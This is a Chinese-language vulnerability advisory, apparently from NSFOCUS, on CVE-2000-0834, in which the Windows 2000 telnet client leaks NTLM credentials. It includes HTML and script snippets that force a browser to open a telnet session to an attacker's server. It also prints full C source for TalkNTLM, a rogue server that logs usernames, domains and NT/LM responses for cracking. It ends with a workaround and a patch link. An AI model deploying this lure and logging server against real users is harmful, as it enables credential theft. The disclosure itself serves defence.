安全研究

安全漏洞
Microsoft Windows 2000 telnet.exe NTLM认证信息泄露漏洞

发布日期:2000-09-14
更新日期:2000-09-14

受影响系统:
Microsoft Windows 2000
描述:
BUGTRAQ  ID: 1683
CVE(CAN) ID: CVE-2000-0834

Microsoft Windows是微软发布的非常流行的操作系统。

Windows 2000系统的telnet.exe远程连接工具在执行认证时存在漏洞,远程攻击者可能利用此漏洞获取系统相关的敏感信息。

Windows 2000发行时自带的telnet客户端(telnet.exe)在默认情况下使用Windows NT的Challenge/Response(NTLM)作为认证方法。当与主机建立连接时,telnet客户端试图通过NTLM进行认证,而不管主机是否为Windows telnet服务器。因此有可能监视NTLM challenge/response认证的会话过程,并将其破解,这会导致敏感信息的暴露,如用户名、密码、域名等。众所周知NTLM challenge/response协议容易被暴力破解,一个名为“L0phtcrack”的工具演示了这种暴力破解。

强制远程机器启动一个telnet会话是轻而易举的事情,因为Microsoft Internet Explorer、Outlook (Express)、Netscape Navigator等产品在遇到带有“telnet://”前缀的URL时会自动打开默认的telnet客户端(通常是telnet.exe)。下面几个例子说明了如何在指定的恶意的服务器上启动一个telnet会话:

1)

<html>
<frameset rows="100%,*">
<frame src=about:blank>
<frame src=telnet://target>
</frameset>
</html>

2)
<html>
<head>
<meta http-equiv="refresh" content="0;URL=telnet://target">
</head>
</html>

3)
<script>window.open("telnet://target")</script>

<**>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

在服务器上运行下面的程序,在命令行中指定监听端口和日志文件,然后从Windows 2000上运行telnet.exe,连接该程序监听的端口。在服务器上会看到会话过程的记录。

<!--StartFragment-->/* TalkNTLM - NTLM Logging Telnet Server
* dildog@atstake.com
* 8/14/00
* Copyright (C) 2000 @stake, Inc.
*/

#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<stdlib.h>
#include<ctype.h>
#include<sys/socket.h>
#include<sys/types.h>
#include<sys/wait.h>
#include<netinet/in.h>
#include<arpa/inet.h>

#define MAJOR_VERSION 1
#define MINOR_VERSION 0

#define IAC     255             /* interpret as command: */
#define DONT    254             /* you are not to use option */
#define DO      253             /* please, you use option */
#define WONT    252             /* I won't use option */
#define WILL    251             /* I will use option */
#define SB      250             /* interpret as subnegotiation */              
#define SE      240             /* end sub negotiation */
#define AUTH    37
#define IS      0
#define SEND    1
#define REPLY   2
#define NAME    3
#define NTLM    15

#define ACCEPT 1

typedef enum {
  METHOD_NONE=0,
  METHOD_TELNET
} METHOD;

typedef enum {
  SUBMETHOD_NONE=0,
  SUBMETHOD_LOG,
} SUBMETHOD;

#define COMMSOCK_BUFSIZ 2048
FILE *g_fCommSock;
char g_CommSockBuf[COMMSOCK_BUFSIZ];

void error(const char *str)
{
  fflush(stdout);
  fprintf(stderr,str);
  fflush(stderr);
}

unsigned char getb(void)
{
  unsigned char b=0;
  fread(&b,1,1,g_fCommSock);
  return b;
}

unsigned short getdwl(void)
{
  unsigned short s=0;
  s|=((unsigned short)getb());
  s|=((unsigned short)getb())<<8;
  return s;
}

unsigned long getddl(void)
{
  unsigned long l=0;
  l|=((unsigned long)getb());
  l|=((unsigned long)getb())<<8;
  l|=((unsigned long)getb())<<16;
  l|=((unsigned long)getb())<<24;
  return l;
}

void putb(unsigned char c)
{
  fwrite(&c,1,1,g_fCommSock);
}

void putdwl(unsigned short w)
{
  putb(w&255);
  putb((w>>8)&255);
}

void putddl(unsigned long d)
{
  putb(d&255);
  putb((d>>8)&255);
  putb((d>>16)&255);
  putb((d>>24)&255);
}


void putarrb(int n, unsigned char *b)
{
  int i;
  for(i=0;i<n;i++) {
    putb(b[i]);
  }
}

void putarrc(int n, char *c)
{
  putarrb(n,(unsigned char *)c);
}

void putflush(void)
{
  fflush(g_fCommSock);
}


void debugb(unsigned char c)
{
  fprintf(stderr,"%d\t\t%X\t'%c'\n\r",c,c,(isalnum(c)?c:' '));
}


int listenport(int port, struct sockaddr_in *rsaddr)
{
  // Create socket
  int s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  if(s<0) {
    error("couldn't create socket.\n");
    return -1;
  }

  int reuse=1;
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,&reuse,sizeof(int))<0) {
    error("couldn't set socket option.\n");
    close(s);
    return -2;
  }

  // Bind to port
  struct sockaddr_in saddr;
  memset(&saddr,0,sizeof(struct sockaddr_in));
  saddr.sin_port=htons(port);
  saddr.sin_family=AF_INET;

  if(bind(s,(struct sockaddr *)&saddr,sizeof(struct sockaddr_in))<0) {
    error("couldn't bind.\n");
    close(s);
    return -3;
  }

  // Listen on port;
  if(listen(s,1)<0) {
    error("couldn't listen.\n");
    close(s);
    return -4;
  }

  // Accept connection
  unsigned int socklen=sizeof(struct sockaddr_in);
  memset(rsaddr,0,socklen);
  int as;
  if((as=accept(s,(struct sockaddr *)rsaddr,&socklen))<0) {
    error("couldn't accept.\n");
    close(s);
    return -5;
  }

  // Close listener
  close(s);
  
  return as;
}

int do_telnet_log(int port, char *logfile)
{

  FILE *lf=NULL;

  while(1) {
    
    // Wait for telnet connection to come in
    struct sockaddr_in saddr;
    int s;
    printf("listening on port %d.\n",port);
    if((s=listenport(port,&saddr))<0) {
      error("telnet logging abort.\n");
      return -1;
    }
    printf("recieved telnet connection from %s:%u.\n",
   inet_ntoa(saddr.sin_addr),ntohs(saddr.sin_port));

    // Set this socket as out buffered packet socket
    g_fCommSock=fdopen(s,"r+b");
    if(g_fCommSock==NULL) {
      error("couldn't fdopen comm socket.\n");
      close(s);
      return -2;
    }
    setvbuf(g_fCommSock,g_CommSockBuf,_IOFBF,COMMSOCK_BUFSIZ);

    // Open logging file
    lf=fopen(logfile,"a+t");
    if(lf==NULL) {
      error("couldn't open log file.\n");
      fclose(g_fCommSock);
      return -3;
    }
    
    // Challenge to send
    unsigned char challenge[8]={255,255,255,255,255,255,255,255};

    // Start authentication process
    unsigned char *respbuf=NULL;
    int size=0;
    
    putb(IAC);
    putb(DO);
    putb(AUTH);
    putflush();
    printf(">> IAC DO AUTH\n");
    
    // See if client wants to authenticate
    if(getb()!=IAC) goto telnetlogfail;
    if(getb()!=WILL) goto telnetlogfail;
    if(getb()!=AUTH) goto telnetlogfail;
    printf("<< IAC WILL AUTH\n");
    
    // Present authentication methods
    putb(IAC);
    putb(SB);
    putb(AUTH);
    putb(SEND);
    putb(NTLM);
    putb(0);
    putb(IAC);
    putb(SE);
    putflush();
    printf(">> IAC SB AUTH SEND NTLM 0 IAC SE\n");
    
    // Get NTLMSSP initial request
    if(getb()!=IAC) goto telnetlogfail;
    if(getb()!=SB) goto telnetlogfail;
    if(getb()!=AUTH) goto telnetlogfail;
    if(getb()!=IS) goto telnetlogfail;
    if(getb()!=NTLM) goto telnetlogfail;
    if(getb()!=0) goto telnetlogfail;
    if(getb()!=0) goto telnetlogfail;
    
    size=getddl()+4;
    if(size>2048) goto telnetlogfail;
    respbuf=(unsigned char *)malloc(size);
    int i;
    for(i=0;i<size;i++) {
      respbuf[i]=getb();
    }
    free(respbuf);
    if(getb()!=IAC) goto telnetlogfail;
    if(getb()!=SE) goto telnetlogfail;
    
    printf("<< IAC SB AUTH IS NTLM 0 0 ... IAC SE\n");
    
    // Send accept
    putb(IAC);
    putb(SB);
    putb(AUTH);
    putb(REPLY);
    putb(NTLM);
    putb(0);
    putb(ACCEPT);
    
    putddl(0xA8);
    putddl(0x2);
    putarrc(8,"NTLMSSP");
    putddl(0x2);
    putdwl(0x14);
    putdwl(0x14);
    putddl(0x30);
    putddl(0xE0828295);
    putarrb(8,challenge);
    putarrc(8,"\0\0\0\0\0\0\0\0");
    putdwl(0x64);
    putdwl(0x64);
    putddl(0x44);
    putarrc(20,"A\0B\0C\0D\0E\0F\0G\0H\0I\0J\0");
    putdwl(0x2);
    putdwl(0x14);
    putarrc(20,"A\0B\0C\0D\0E\0F\0G\0H\0I\0J\0");
    putdwl(0x1);
    putdwl(0x14);
    putarrc(20,"A\0B\0C\0D\0E\0F\0G\0H\0I\0J\0");
    putdwl(0x4);
    putdwl(0x14);
    putarrc(20,"A\0B\0C\0D\0E\0F\0G\0H\0I\0J\0");
    putdwl(0x3);
    putdwl(0x14);  
    putarrc(20,"A\0B\0C\0D\0E\0F\0G\0H\0I\0J\0");
    putddl(0);

    putb(IAC);
    putb(SE);
    putflush();
    printf(">> IAC SB AUTH REPLY NTLM 0 1 ... challenge ... IAC SE\n");
  
    // Get the reply packet
    if(getb()!=IAC) goto telnetlogfail;
    if(getb()!=SB) goto telnetlogfail;
    if(getb()!=AUTH) goto telnetlogfail;
    if(getb()!=IS) goto telnetlogfail;
    if(getb()!=NTLM) goto telnetlogfail;
    if(getb()!=0) goto telnetlogfail;
    if(getb()!=2) goto telnetlogfail;

    size=getddl()+4;
    if(size>2048 || size<64) goto telnetlogfail;
    printf("8\n");
    respbuf=(unsigned char *)malloc(size);
    for(i=0;i<size;i++) {
      respbuf[i]=getb();
      //fprintf(stderr,"%2.2X: ",i);
      //debugb(respbuf[i]);
    }
    if(getb()!=IAC) goto telnetlogfail;
    if(getb()!=SE) goto telnetlogfail;

    printf("<< IAC SB AUTH IS NTLM 0 2 ... response ... IAC SE\n");
    
    
    // Get username
    int usernamelen,usernameoff;
    char *username;
    usernamelen=respbuf[0x28] | (respbuf[0x29]<<8);
    usernameoff=respbuf[0x2C] | (respbuf[0x2D]<<8) |
      (respbuf[0x2E]<<16) | (respbuf[0x2F]<<24);
    username=(char *)malloc(usernamelen);
    if(!username) goto telnetlogfail;
    memcpy(username,&respbuf[usernameoff+4],usernamelen);
    printf("Username: ");
    for(i=0;i<usernamelen;i+=2) {
      printf("%c",username[i]);
      fprintf(lf,"%c",username[i]);
      username[i>>1]=username[i];
    }
    usernamelen>>=1;
    printf("\n");
    fprintf(lf,":");
    free(username);
    
    // Get domainname
    int domainnamelen,domainnameoff;
    char *domainname;
    domainnamelen=respbuf[0x20] | (respbuf[0x21]<<8);
    domainnameoff=respbuf[0x24] | (respbuf[0x25]<<8) |
      (respbuf[0x26]<<16) | (respbuf[0x27]<<24);
    domainname=(char *)malloc(domainnamelen);
    if(!domainname) goto telnetlogfail;
    memcpy(domainname,&respbuf[domainnameoff+4],domainnamelen);
    printf("Domain: ");
    for(i=0;i<domainnamelen;i+=2) {
      printf("%c",domainname[i]);
      fprintf(lf,"%c",username[i]);
      domainname[i>>1]=domainname[i];
    }
    domainnamelen>>=1;
    printf("\n");
    fprintf(lf,":");
    free(domainname);
    
    // Write challenge
    fprintf(lf,"%2.2X%2.2X%2.2X%2.2X%2.2X%2.2X%2.2X%2.2X:",
    challenge[0],challenge[1],challenge[2],challenge[3],
    challenge[4],challenge[5],challenge[6],challenge[7]);

    // Get NT response
    int ntresplen,ntrespoff;
    unsigned char *ntresp;
    ntresplen=respbuf[0x10] | (respbuf[0x11]<<8);
    ntrespoff=respbuf[0x14];// | (respbuf[0x15]<<8) | (respbuf[0x16]<<16) | (respbuf[0x17]<<24);
    ntresp=(unsigned char *)malloc(ntresplen);
    if(!ntresp) goto telnetlogfail;
    memcpy(ntresp,&respbuf[ntrespoff+4],ntresplen);
    printf("NT Response:\n");
    for(i=0;i<ntresplen;i++) {
      printf("%2.2X ",ntresp[i]);
      fprintf(lf,"%2.2X",ntresp[i]);
      if(i%8==7) printf("\n");
    }
    printf("\n");
    fprintf(lf,":");
    free(ntresp);
    
    // Get LM response
    int lmresplen,lmrespoff;
    unsigned char *lmresp;
    lmresplen=respbuf[0x18] | (respbuf[0x19]<<8);
    lmrespoff=respbuf[0x1C] | (respbuf[0x1D]<<8) |
      (respbuf[0x1E]<<16) | (respbuf[0x1F]<<24);
    lmresp=(unsigned char *)malloc(lmresplen);
    if(!lmresp) goto telnetlogfail;
    memcpy(lmresp,&respbuf[lmrespoff+4],lmresplen);
    printf("LM Response:\n");
    for(i=0;i<lmresplen;i++) {
      printf("%2.2X ",lmresp[i]);
      fprintf(lf,"%2.2X",lmresp[i]);
      if(i%8==7) printf("\n");
    }
    printf("\n");
    fprintf(lf,"\n");
    free(lmresp);  
    
    free(respbuf);
    
    fclose(lf);
    // Close the telnet session
    fclose(g_fCommSock);
    printf("closed telnet socket.\n");

  }

  return 0;
  
telnetlogfail:; // Failure
  
  if(lf!=NULL)
    fclose(lf);
  printf("telnet negotiation failed.\n");
  fclose(g_fCommSock);
  
  return -5;
}



void usage(char *progname,int exitcode)
{
  printf("talkntlm v%d.%d (%s)\n",MAJOR_VERSION,MINOR_VERSION,progname);
  printf("usage: talkntlm -t [-p <port>] -l <challenge response logfile>\n",progname);
  exit(exitcode);
}


int main(int argc, char *argv[])
{
  unsigned char b;
  int i,tp;
  
  // Get options
  
  int opt_port=0;
  char *opt_logfile=NULL;
  METHOD opt_method=METHOD_NONE;
  SUBMETHOD opt_submethod=SUBMETHOD_NONE;

  char oc;
  while((oc=getopt(argc,argv,"l:p:t"))>0) {
    switch(oc) {
    case 't':
      opt_method=METHOD_TELNET;
      if(opt_port==0) {
   opt_port=23;
      }
      break;
    case 'p':
      opt_port=atoi(optarg);
      break;
    case 'l':
      opt_logfile=optarg;
      if(opt_submethod!=SUBMETHOD_NONE)
  usage(argv[0],-2);
      opt_submethod=SUBMETHOD_LOG;
      break;
    default:
      usage(argv[0],-3);
      
      break;
    }
  }
  
  // Go to the particular method
  if(opt_method==METHOD_NONE) {
    usage(argv[0],-4);
  }
  else if(opt_method==METHOD_TELNET) {
    
    // Telnet methods
    
    if(opt_submethod==SUBMETHOD_NONE) {
      usage(argv[0],-5);
    
    }
    else if(opt_submethod==SUBMETHOD_LOG) {

      // Telnet hash logging

      if(opt_logfile==NULL) {
  usage(argv[0],-7);
      }
      if(do_telnet_log(opt_port,opt_logfile)!=0)
  return -8;
    
    }

  }

  return 0;
}

建议:
临时解决方法:

NSFOCUS建议您在得到补丁之前采用微软提供的如下解决办法:

-打开命令窗口,输入“telnet”并按回车。
-在Telnet提示符下面,输入“unset ntlm”并按回车。
-输入“quit”以保存你的更改并退出telnet。

为了验证NTLM认证已被禁止,做如下几件事:
-打开命令窗口,输入“telnet”并按回车。
-在Telnet提示符下,输入“display”并按回车。
-察看“display”命令的输出,如果你看见“Will auth (NTLM authentication”字样,说明Telnet将参与NTLM认证。如果你看见“Won't auth (NTLM authentication)”,这说明Telnet不会参与NTLM认证。

厂商补丁:

Microsoft
---------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://download.microsoft.com/download/win2000platform/patch/q272743/nt5/en-us/q272743_w2k_sp2_x86_en.exe

浏览次数:6193
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障